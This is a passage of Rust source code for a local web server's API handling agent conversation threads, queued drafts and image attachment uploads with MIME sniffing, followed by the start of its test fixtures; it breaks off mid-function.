5873 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
5874 TalkView::with_config(talk, thinking, cfg.as_ref())
5875 })
5876 .collect(),
5877 ))
5878 })
5879 .await
5880}
5881
5882#[derive(Debug, Default, Deserialize)]
5887#[serde(default)]
5888struct NewTalk {
5889 agent: Option<String>,
5890 repo: Option<PathBuf>,
5891}
5892
5893async fn talk_post(
5896 State(ui): State<Arc<Ui>>,
5897 body: std::result::Result<Json<NewTalk>, JsonRejection>,
5898) -> ApiResult<impl IntoResponse> {
5899 let body = match body {
5903 Ok(Json(body)) => body,
5904 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
5905 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5906 };
5907 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
5908 let cfg = config_for(&repo).await?;
5909 let view = blocking(move || {
5910 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
5911 let thinking = ui.is_thinking(&talk.id);
5912 Ok(TalkView::new(talk, thinking))
5913 })
5914 .await?;
5915 Ok((StatusCode::CREATED, Json(view)))
5916}
5917
5918async fn talk_detail(
5920 State(ui): State<Arc<Ui>>,
5921 Path(id): Path<String>,
5922) -> ApiResult<Json<TalkDetailView>> {
5923 blocking(move || {
5924 let id = resolve_talk(&ui.talks, &id)?;
5925 let talk = ui.talks.get(&id)?;
5926 let thinking = ui.is_thinking(&talk.id);
5927 let tasks = talk::tasks_of(&ui.queue, &talk.id)
5928 .into_iter()
5929 .map(TaskView::from)
5930 .collect();
5931 let roster = Config::discover(&talk.repo, None)
5932 .map(|(cfg, _)| {
5933 cfg.agents
5934 .iter()
5935 .map(|a| RosterEntry {
5936 id: a.id.clone(),
5937 kind: a.kind,
5938 runnable: agent::installed(a),
5939 })
5940 .collect()
5941 })
5942 .unwrap_or_default();
5943 Ok(Json(TalkDetailView {
5944 view: TalkView::new(talk, thinking),
5945 tasks,
5946 roster,
5947 }))
5948 })
5949 .await
5950}
5951
5952#[derive(Debug, Default, Deserialize)]
5958#[serde(default, deny_unknown_fields)]
5959struct NewTalkTurn {
5960 text: String,
5961 attachments: Vec<String>,
5962}
5963
5964#[derive(Debug, Deserialize)]
5965#[serde(deny_unknown_fields)]
5966struct EditTalkPending {
5967 text: String,
5968 expected_text: String,
5969 expected_attachments: Vec<String>,
5970}
5971
5972#[derive(Debug, Deserialize)]
5973#[serde(deny_unknown_fields)]
5974struct ClearTalkPending {
5975 expected_text: String,
5976 expected_attachments: Vec<String>,
5977}
5978
5979async fn talk_say(
5991 State(ui): State<Arc<Ui>>,
5992 Path(id): Path<String>,
5993 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
5994) -> ApiResult<(StatusCode, Json<TalkView>)> {
5995 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5996 if body.text.trim().is_empty() && body.attachments.is_empty() {
5997 return Err(ApiError::bad_request("say something"));
5998 }
5999
6000 let id = {
6001 let ui = Arc::clone(&ui);
6002 let asked = id.clone();
6003 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6004 };
6005 {
6009 let ui = Arc::clone(&ui);
6010 let id = id.clone();
6011 blocking(move || {
6012 let talk = ui.talks.get(&id)?;
6013 if !talk.status.open() {
6014 return Err(ApiError::conflict(format!(
6015 "talk {} is {} and takes no more turns",
6016 talk.short(),
6017 talk.status.as_str()
6018 )));
6019 }
6020 Ok(())
6021 })
6022 .await?;
6023 }
6024
6025 let attachments = {
6030 let ui = Arc::clone(&ui);
6031 let id = id.clone();
6032 let ids = body.attachments.clone();
6033 blocking(move || {
6034 ids.into_iter()
6035 .map(|att_id| {
6036 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6037 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6038 })
6039 })
6040 .collect::<ApiResult<Vec<talk::Attachment>>>()
6041 })
6042 .await?
6043 };
6044
6045 let start = {
6050 let ui = Arc::clone(&ui);
6051 let id = id.clone();
6052 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6053 };
6054 let turn_guard = match start {
6055 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6056 TalkTurnStart::Pending => {
6057 return Err(ApiError::conflict(
6058 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6059 ));
6060 }
6061 TalkTurnStart::Busy => {
6062 let (tx, rx) = tokio::sync::oneshot::channel();
6078 tokio::spawn({
6079 let ui = Arc::clone(&ui);
6080 let id = id.clone();
6081 let said = body.text.clone();
6082 async move {
6083 let written = blocking({
6084 let ui = Arc::clone(&ui);
6085 let id = id.clone();
6086 move || {
6087 let mut talk = ui.talks.get(&id)?;
6088 #[cfg(test)]
6093 if let Some(gate) = ui
6094 .busy_queue_gate
6095 .lock()
6096 .unwrap_or_else(PoisonError::into_inner)
6097 .take()
6098 {
6099 let _ = gate.reached.send(());
6100 let _ = gate.release.recv();
6101 }
6102 if let Err(error) =
6103 talk::queue(&mut talk, &ui.talks, &said, attachments)
6104 {
6105 if let Ok(fresh) = ui.talks.get(&id) {
6106 if !fresh.status.open() {
6107 return Err(ApiError::conflict(format!(
6108 "talk {} is {} and takes no more turns",
6109 fresh.short(),
6110 fresh.status.as_str()
6111 )));
6112 }
6113 }
6114 return Err(ApiError::from(error));
6115 }
6116 let claim = match ui.begin_queued_talk_turn(&id)? {
6127 Some(turn_guard) => {
6128 let (cfg, _) = Config::discover(&talk.repo, None)?;
6129 Some((talk.clone(), cfg, turn_guard))
6130 }
6131 None => None,
6132 };
6133 let thinking = ui.is_thinking(&id);
6134 Ok((TalkView::new(talk, thinking), claim))
6135 }
6136 })
6137 .await;
6138 let (view, reclaimed) = match written {
6139 Ok(pair) => pair,
6140 Err(e) => {
6141 let _ = tx.send(Err(e));
6146 return;
6147 }
6148 };
6149 let _ = tx.send(Ok(view));
6152 if let Some((talk, cfg, turn_guard)) = reclaimed {
6153 let talks = ui.talks.clone();
6154 drain_loop(talk, talks, cfg, id, turn_guard).await;
6155 }
6156 }
6157 });
6158 let view = rx
6159 .await
6160 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6161 return Ok((StatusCode::ACCEPTED, Json(view)));
6162 }
6163 };
6164
6165 let (talk, cfg) = {
6166 let ui = Arc::clone(&ui);
6167 let id = id.clone();
6168 blocking(move || {
6169 let talk = ui.talks.get(&id)?;
6170 let (cfg, _) = Config::discover(&talk.repo, None)?;
6171 Ok((talk, cfg))
6172 })
6173 .await?
6174 };
6175
6176 let talks = ui.talks.clone();
6177 let (tx, rx) = tokio::sync::oneshot::channel();
6192 tokio::spawn({
6193 let ui = Arc::clone(&ui);
6194 let talks = talks.clone();
6195 let id = id.clone();
6196 let said = body.text.clone();
6197 let mut talk = talk.clone();
6198 async move {
6199 let recorded = blocking({
6200 let talks = talks.clone();
6201 move || {
6202 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6203 if let Ok(fresh) = talks.get(&talk.id) {
6204 if !fresh.status.open() {
6205 return Err(ApiError::conflict(format!(
6206 "talk {} is {} and takes no more turns",
6207 fresh.short(),
6208 fresh.status.as_str()
6209 )));
6210 }
6211 }
6212 return Err(ApiError::from(error));
6213 }
6214 Ok((said.trim().to_owned(), talk))
6220 }
6221 })
6222 .await;
6223 let (text, mut talk) = match recorded {
6224 Ok(pair) => pair,
6225 Err(e) => {
6226 let _ = tx.send(Err(e));
6230 return;
6231 }
6232 };
6233 let queued = talk.clone();
6234 let thinking = ui.is_thinking(&id);
6235 let _ = tx.send(Ok((queued, thinking)));
6238
6239 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
6240 tracing::warn!("talk {id} turn failed: {e:#}");
6244 }
6245 drain_loop(talk, talks, cfg, id, turn_guard).await;
6248 }
6249 });
6250
6251 let (queued, thinking) = rx
6252 .await
6253 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6254
6255 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6257}
6258
6259async fn talk_pending_resume(
6263 State(ui): State<Arc<Ui>>,
6264 Path(id): Path<String>,
6265) -> ApiResult<(StatusCode, Json<TalkView>)> {
6266 let id = {
6267 let ui = Arc::clone(&ui);
6268 let asked = id.clone();
6269 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6270 };
6271 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6272 return Err(ApiError::conflict(
6273 "a talk turn is already running; the queued draft will be handled by it",
6274 ));
6275 };
6276 let (talk, cfg) = {
6277 let ui = Arc::clone(&ui);
6278 let id = id.clone();
6279 blocking(move || {
6280 let talk = ui.talks.get(&id)?;
6281 if !talk.status.open() {
6282 return Err(ApiError::conflict(format!(
6283 "talk {} is {} and takes no more turns",
6284 talk.short(),
6285 talk.status.as_str()
6286 )));
6287 }
6288 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6289 return Err(ApiError::conflict("there is no queued draft to resume"));
6290 }
6291 let (cfg, _) = Config::discover(&talk.repo, None)?;
6292 Ok((talk, cfg))
6293 })
6294 .await?
6295 };
6296 let view = TalkView::new(talk.clone(), true);
6297 let talks = ui.talks.clone();
6298 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6299 Ok((StatusCode::ACCEPTED, Json(view)))
6300}
6301
6302async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6318 let live_set = Arc::clone(&turn.turns);
6319 let mut turn = Some(turn);
6327 loop {
6328 let observed = live_set
6332 .lock()
6333 .unwrap_or_else(PoisonError::into_inner)
6334 .queued
6335 .get(&id)
6336 .copied()
6337 .unwrap_or(0);
6338 let drained = blocking({
6339 let talks = talks.clone();
6340 move || {
6341 let result = talk::drain(&mut talk, &talks);
6342 Ok((talk, result))
6343 }
6344 })
6345 .await;
6346 let (next_talk, result) = match drained {
6347 Ok(drained) => drained,
6348 Err(e) => {
6349 tracing::warn!(
6350 status = %e.status,
6351 message = %e.message,
6352 "talk {id} could not start queued-text drain"
6353 );
6354 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6355 turn.take()
6356 .expect("held for the whole loop until released here")
6357 .release(&mut live);
6358 break;
6359 }
6360 };
6361 talk = next_talk;
6362 let drained = match result {
6363 Ok(Some(drained)) => drained,
6364 Ok(None) => {
6365 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6366 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6367 continue;
6368 }
6369 turn.take()
6370 .expect("held for the whole loop until released here")
6371 .release(&mut live);
6372 break;
6373 }
6374 Err(e) => {
6375 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6376 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6377 turn.take()
6378 .expect("held for the whole loop until released here")
6379 .release(&mut live);
6380 break;
6381 }
6382 };
6383 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
6384 tracing::warn!("talk {id} turn failed: {e:#}");
6385 }
6386 }
6387}
6388
6389async fn talk_pending_clear(
6391 State(ui): State<Arc<Ui>>,
6392 Path(id): Path<String>,
6393 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6394) -> ApiResult<Json<TalkView>> {
6395 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6396 blocking(move || {
6397 let id = resolve_talk(&ui.talks, &id)?;
6398 let mut talk = ui.talks.get(&id)?;
6399 if !talk.status.open() {
6400 return Err(ApiError::conflict(format!(
6401 "talk {} is {} and takes no more turns",
6402 talk.short(),
6403 talk.status.as_str()
6404 )));
6405 }
6406 if !talk::clear_pending_if_matches(
6407 &mut talk,
6408 &ui.talks,
6409 &body.expected_text,
6410 &body.expected_attachments,
6411 )? {
6412 return Err(ApiError::conflict(
6413 "queued message changed; reload it before clearing",
6414 ));
6415 }
6416 let thinking = ui.is_thinking(&talk.id);
6417 Ok(Json(TalkView::new(talk, thinking)))
6418 })
6419 .await
6420}
6421
6422async fn talk_pending_edit(
6426 State(ui): State<Arc<Ui>>,
6427 Path(id): Path<String>,
6428 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6429) -> ApiResult<Json<TalkView>> {
6430 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6431 let (view, reclaimed) = blocking({
6432 let ui = Arc::clone(&ui);
6433 move || {
6434 let id = resolve_talk(&ui.talks, &id)?;
6435 let mut talk = ui.talks.get(&id)?;
6436 if !talk.status.open() {
6437 return Err(ApiError::conflict(format!(
6438 "talk {} is {} and takes no more turns",
6439 talk.short(),
6440 talk.status.as_str()
6441 )));
6442 }
6443 if !talk::edit_pending_text(
6444 &mut talk,
6445 &ui.talks,
6446 &body.text,
6447 &body.expected_text,
6448 &body.expected_attachments,
6449 )? {
6450 return Err(ApiError::conflict(
6451 "queued message changed; reload it before editing",
6452 ));
6453 }
6454 let claim = match ui.begin_queued_talk_turn(&id)? {
6455 Some(turn_guard) => {
6456 let (cfg, _) = Config::discover(&talk.repo, None)?;
6457 Some((talk.clone(), cfg, id.clone(), turn_guard))
6458 }
6459 None => None,
6460 };
6461 let thinking = ui.is_thinking(&id);
6462 Ok((TalkView::new(talk, thinking), claim))
6463 }
6464 })
6465 .await?;
6466 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6467 let talks = ui.talks.clone();
6468 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6469 }
6470 Ok(Json(view))
6471}
6472
6473#[derive(Debug, Deserialize)]
6475struct TalkAgent {
6476 agent: String,
6477}
6478
6479async fn talk_agent(
6484 State(ui): State<Arc<Ui>>,
6485 Path(id): Path<String>,
6486 Json(body): Json<TalkAgent>,
6487) -> ApiResult<Json<TalkView>> {
6488 let id = {
6489 let ui = Arc::clone(&ui);
6490 blocking(move || resolve_talk(&ui.talks, &id)).await?
6491 };
6492 let repo = {
6493 let ui = Arc::clone(&ui);
6494 let id = id.clone();
6495 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6496 };
6497 let cfg = config_for(&repo).await?;
6498 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6499 return Err(ApiError::conflict(
6500 "a talk turn is running; change the agent once it has answered",
6501 ));
6502 };
6503 let switched = {
6504 let ui = Arc::clone(&ui);
6505 let id = id.clone();
6506 let cfg = cfg.clone();
6507 blocking(move || {
6508 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6509 .map_err(ApiError::bad_request_from)?;
6510 let mut talk = ui.talks.get(&id)?;
6511 if !talk.status.open() {
6512 return Err(ApiError::conflict(format!(
6513 "talk {} is {} and takes no more turns",
6514 talk.short(),
6515 talk.status.as_str()
6516 )));
6517 }
6518 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6519 Ok(talk)
6520 })
6521 .await
6522 };
6523 let fresh = {
6528 let ui = Arc::clone(&ui);
6529 let id = id.clone();
6530 blocking(move || Ok(ui.talks.get(&id)?)).await
6531 };
6532 let draining = match fresh {
6533 Ok(talk) => {
6534 let draining = talk.status.open()
6535 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6536 let talks = ui.talks.clone();
6537 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6538 draining
6539 }
6540 Err(_) => false,
6541 };
6542 let talk = switched?;
6543 Ok(Json(TalkView::new(talk, draining)))
6544}
6545
6546async fn talk_close(
6548 State(ui): State<Arc<Ui>>,
6549 Path(id): Path<String>,
6550) -> ApiResult<Json<TalkView>> {
6551 blocking(move || {
6552 let id = resolve_talk(&ui.talks, &id)?;
6553 let mut talk = ui.talks.get(&id)?;
6554 talk::close(&mut talk, &ui.talks)?;
6555 let thinking = ui.is_thinking(&talk.id);
6556 Ok(Json(TalkView::new(talk, thinking)))
6557 })
6558 .await
6559}
6560
6561async fn talk_reopen(
6563 State(ui): State<Arc<Ui>>,
6564 Path(id): Path<String>,
6565) -> ApiResult<Json<TalkView>> {
6566 blocking(move || {
6567 let id = resolve_talk(&ui.talks, &id)?;
6568 let mut talk = ui.talks.get(&id)?;
6569 talk::reopen(&mut talk, &ui.talks)?;
6570 let thinking = ui.is_thinking(&talk.id);
6571 Ok(Json(TalkView::new(talk, thinking)))
6572 })
6573 .await
6574}
6575
6576async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6586 blocking(move || {
6587 let id = resolve_talk(&ui.talks, &id)?;
6588 ui.talks.remove(&id)?;
6589 Ok(StatusCode::NO_CONTENT)
6590 })
6591 .await
6592}
6593
6594fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6596 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6597}
6598
6599async fn talk_attachment_post(
6602 State(ui): State<Arc<Ui>>,
6603 Path(id): Path<String>,
6604 headers: HeaderMap,
6605 body: Bytes,
6606) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6607 let mime = validate_attachment(&headers, &body)?;
6608 let name = filename_header(&headers);
6609 let data = body.to_vec();
6610 blocking(move || {
6611 let id = resolve_talk(&ui.talks, &id)?;
6612 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6613 Ok((StatusCode::CREATED, Json(att)))
6614 })
6615 .await
6616}
6617
6618async fn talk_attachment_get(
6621 State(ui): State<Arc<Ui>>,
6622 Path((id, att)): Path<(String, String)>,
6623) -> ApiResult<Response> {
6624 blocking(move || {
6625 let id = resolve_talk(&ui.talks, &id)?;
6626 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6627 return Err(ApiError::not_found(format!(
6628 "talk {id} has no attachment `{att}`"
6629 )));
6630 };
6631 Ok(attachment_response(&meta.mime, data))
6632 })
6633 .await
6634}
6635
6636fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6647 if data.len() > ATTACHMENT_MAX_BYTES {
6648 return Err(ApiError::bad_request(format!(
6649 "attachment is {} bytes, over the {} MiB limit",
6650 data.len(),
6651 ATTACHMENT_MAX_BYTES / (1024 * 1024)
6652 ))
6653 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6654 }
6655 if data.is_empty() {
6656 return Err(ApiError::bad_request("attachment is empty"));
6657 }
6658 let declared = declared_mime(headers)?;
6659 match sniffed_mime(data) {
6660 Some(sniffed) if sniffed == declared => Ok(declared),
6661 Some(sniffed) => Err(ApiError::bad_request(format!(
6662 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6663 ))),
6664 None => Err(ApiError::bad_request(
6665 "the file's bytes do not match any accepted image format",
6666 )),
6667 }
6668}
6669
6670fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6674 let raw = headers
6675 .get(header::CONTENT_TYPE)
6676 .and_then(|v| v.to_str().ok())
6677 .unwrap_or("")
6678 .split(';')
6679 .next()
6680 .unwrap_or("")
6681 .trim()
6682 .to_ascii_lowercase();
6683 ATTACHMENT_MIME_WHITELIST
6684 .iter()
6685 .find(|&&m| m == raw)
6686 .copied()
6687 .ok_or_else(|| {
6688 if raw == "image/svg+xml" {
6689 ApiError::bad_request(
6690 "SVG is not accepted: it can carry active content (e.g. a <script>), \
6691 not just a picture",
6692 )
6693 } else if raw.is_empty() {
6694 ApiError::bad_request("Content-Type is required for an attachment upload")
6695 } else {
6696 ApiError::bad_request(format!(
6697 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
6698 image/gif or image/webp"
6699 ))
6700 }
6701 })
6702}
6703
6704fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
6707 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
6708 Some("image/png")
6709 } else if data.starts_with(b"\xff\xd8\xff") {
6710 Some("image/jpeg")
6711 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
6712 Some("image/gif")
6713 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
6714 Some("image/webp")
6715 } else {
6716 None
6717 }
6718}
6719
6720fn filename_header(headers: &HeaderMap) -> String {
6726 headers
6727 .get(FILENAME_HEADER)
6728 .and_then(|v| v.to_str().ok())
6729 .map(str::trim)
6730 .filter(|s| !s.is_empty())
6731 .unwrap_or("attachment")
6732 .to_owned()
6733}
6734
6735fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
6742 let content_type = ATTACHMENT_MIME_WHITELIST
6743 .iter()
6744 .find(|&&m| m == mime)
6745 .copied()
6746 .unwrap_or("application/octet-stream");
6747 (
6748 [
6749 (header::CONTENT_TYPE, content_type),
6750 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6751 ],
6752 body,
6753 )
6754 .into_response()
6755}
6756
6757async fn config_for(repo: &FsPath) -> ApiResult<Config> {
6765 let repo = repo.to_path_buf();
6766 blocking(move || {
6767 let (cfg, _) = Config::discover(&repo, None)?;
6768 Ok(cfg)
6769 })
6770 .await
6771}
6772
6773fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
6779 let mut hits = ids
6780 .into_iter()
6781 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
6782 match (hits.next(), hits.next()) {
6783 (Some(one), None) => Ok(one),
6784 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
6785 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
6786 "`{prefix}` matches more than one {what}, including {a} and {b}"
6787 ))),
6788 }
6789}
6790
6791#[cfg(test)]
6792mod tests {
6793
6794 #[test]
6795 fn holder_reads_the_lease_not_the_record() {
6796 let mut q = Question::new(
6797 "run".to_owned(),
6798 "implement".to_owned(),
6799 "impl-A".to_owned(),
6800 "which?".to_owned(),
6801 String::new(),
6802 Vec::new(),
6803 );
6804 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
6805 q.cwd = Some("/tmp".to_owned());
6806 assert_eq!(holder_of(&q, None), Some("nobody"));
6807 let beat = |kind, ago: i64| ask::Lease {
6808 kind,
6809 pid: 1,
6810 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
6811 .unwrap(),
6812 };
6813 let fresh = beat(ask::WaiterKind::Asker, 1);
6814 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
6815 let daemon = beat(ask::WaiterKind::Daemon, 1);
6816 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
6817 let stale = beat(ask::WaiterKind::Asker, 3600);
6818 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
6819
6820 let mut c = Question::new(
6823 "task".to_owned(),
6824 crate::conduct::NODE.to_owned(),
6825 "conduct".to_owned(),
6826 "which?".to_owned(),
6827 String::new(),
6828 Vec::new(),
6829 );
6830 assert_eq!(holder_of(&c, None), Some("nobody"));
6831 c.cwd = Some("/tmp".to_owned());
6832 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
6833 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
6834 let deputy = beat(ask::WaiterKind::Deputy, 1);
6835 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
6836 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
6837
6838 let mut r = Question::new(
6840 String::new(),
6841 crate::bump::NOTICE_NODE.to_owned(),
6842 "release-watch".to_owned(),
6843 "stuck?".to_owned(),
6844 String::new(),
6845 vec!["hold".to_owned()],
6846 );
6847 assert_eq!(holder_of(&r, None), Some("nobody"));
6848 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
6849 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
6850 r.deputy = None;
6852 r.seat = "bump".to_owned();
6853 assert_eq!(holder_of(&r, None), None);
6854
6855 let mut m = Question::new(
6858 "run".to_owned(),
6859 crate::land::APPROVAL_NODE.to_owned(),
6860 "land".to_owned(),
6861 "merge?".to_owned(),
6862 String::new(),
6863 Vec::new(),
6864 );
6865 assert_eq!(holder_of(&m, None), Some("nobody"));
6866 assert_eq!(
6867 holder_of(&m, Some(&fresh)),
6868 Some("nobody"),
6869 "a lease with no deputy is not a listener"
6870 );
6871 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
6872 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
6873 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
6874 assert_eq!(holder_of(&m, None), Some("nobody"));
6875 }
6876
6877 fn stub_config() -> Config {
6878 Config {
6881 agents: vec![crate::config::AgentSpec {
6882 id: "stub".to_owned(),
6883 kind: AgentKind::Command,
6884 model: None,
6885 command: vec!["true".to_owned()],
6886 extra_args: Vec::new(),
6887 env: Default::default(),
6888 prompt_delivery: None,
6889 }],
6890 ..Config::default()
6891 }
6892 }
6893
6894 fn plain_question(seat: &str) -> Question {
6895 Question::new(
6896 String::new(),
6897 "n".to_owned(),
6898 seat.to_owned(),
6899 "s".to_owned(),
6900 String::new(),
6901 Vec::new(),
6902 )
6903 }
6904
6905 #[test]
6906 fn deputies_enabled_follows_the_config() {
6907 let on = stub_config();
6908 assert!(crate::deputy::can_start(Some(&on), ""));
6909 assert!(crate::deputy::can_start(Some(&on), "stub"));
6910 let mut off = on.clone();
6911 off.daemon.max_deputies = 0;
6912 assert!(!crate::deputy::can_start(Some(&off), ""));
6913 let mut empty = on;
6914 empty.agents.clear();
6915 assert!(!crate::deputy::can_start(Some(&empty), ""));
6916 assert!(!crate::deputy::can_start(None, ""));
6917 }
6918
6919 #[test]
6920 fn question_views_load_the_config_once() {
6921 let dir = TempDir::new().unwrap();
6922 let store = ask::Questions::at(dir.path().to_path_buf());
6923 let mut with_deputy = plain_question("b");
6924 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
6925 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
6926
6927 let calls = std::cell::Cell::new(0usize);
6928 let views = question_views(qs.clone(), &store, || {
6929 calls.set(calls.get() + 1);
6930 Some(stub_config())
6931 });
6932 assert_eq!(calls.get(), 1);
6933 assert_eq!(views.len(), 3);
6934 for (v, q) in views.iter().zip(&qs) {
6935 assert_eq!(
6936 v.deputies_enabled,
6937 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
6938 );
6939 }
6940
6941 let views = question_views(qs, &store, || None);
6942 assert!(views.iter().all(|v| !v.deputies_enabled));
6943
6944 let calls = std::cell::Cell::new(0usize);
6945 let views = question_views(Vec::new(), &store, || {
6946 calls.set(calls.get() + 1);
6947 None
6948 });
6949 assert!(views.is_empty());
6950 assert_eq!(calls.get(), 0);
6951 }
6952
6953 use pretty_assertions::assert_eq;
6954 use serde_json::Value;
6955 use tempfile::TempDir;
6956 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
6957
6958 use super::*;
6959 use crate::config::Config;
6960 use crate::queue::Source;
6961
6962 const SETTLE_STEPS: usize = 3_000;
6973
6974 struct Fixture {
6980 home: TempDir,
6981 addr: SocketAddr,
6982 }
6983
6984 impl Fixture {
6985 async fn start() -> Self {
6986 Self::with_loop(launch_idle).await
6987 }
6988
6989 async fn with_loop(launch: Launch) -> Self {
6991 let home = TempDir::new().expect("temp home");
6992 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
6993 Self { home, addr }
6994 }
6995
6996 async fn with_repo(repo: PathBuf) -> Self {
7000 let home = TempDir::new().expect("temp home");
7001 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7002 Self { home, addr }
7003 }
7004
7005 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7008 let home = TempDir::new().expect("temp home");
7009 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7010 Self { home, addr }
7011 }
7012
7013 async fn serve(
7014 home: &FsPath,
7015 repo: PathBuf,
7016 launch: Launch,
7017 machine: Option<PathBuf>,
7018 ) -> SocketAddr {
7019 let queue = Queue::at(home.join("queue"));
7020 let runs = home.join("runs");
7021 std::fs::create_dir_all(&runs).expect("runs dir");
7022 let worktrees = home.join("wt").join("magi");
7023 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7024 let ui = Ui::new(
7025 queue,
7026 Questions::at(home.join("questions")),
7027 Talks::at(home.join("talks")),
7028 runs,
7029 home.to_path_buf(),
7030 repo,
7031 )
7032 .with_worktrees_root(worktrees)
7033 .with_machine_config(machine)
7034 .with_launch(launch);
7035 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7036 .await
7037 .expect("bind loopback");
7038 let addr = listener.local_addr().expect("local addr");
7039 tokio::spawn(async move {
7040 let _ = axum::serve(listener, ui.router()).await;
7041 });
7042 addr
7043 }
7044
7045 fn queue(&self) -> Queue {
7046 Queue::at(self.home.path().join("queue"))
7047 }
7048
7049 fn questions(&self) -> Questions {
7050 Questions::at(self.home.path().join("questions"))
7051 }
7052
7053 fn talks(&self) -> Talks {
7054 Talks::at(self.home.path().join("talks"))
7055 }
7056
7057 fn runs(&self) -> PathBuf {
7058 self.home.path().join("runs")
7059 }
7060
7061 async fn get(&self, path: &str) -> Res {
7062 request(self.addr, "GET", path, None).await
7063 }
7064
7065 async fn head(&self, path: &str) -> Res {
7070 request(self.addr, "HEAD", path, None).await
7071 }
7072
7073 async fn post(&self, path: &str, body: Option<&str>) -> Res {
7074 request(self.addr, "POST", path, body).await
7075 }
7076
7077 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7078 request_with(self.addr, "GET", path, None, extra).await
7079 }
7080
7081 async fn delete(&self, path: &str) -> Res {
7082 request(self.addr, "DELETE", path, None).await
7083 }
7084
7085 async fn put(&self, path: &str, body: &str) -> Res {
7086 request(self.addr, "PUT", path, Some(body)).await
7087 }
7088
7089 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
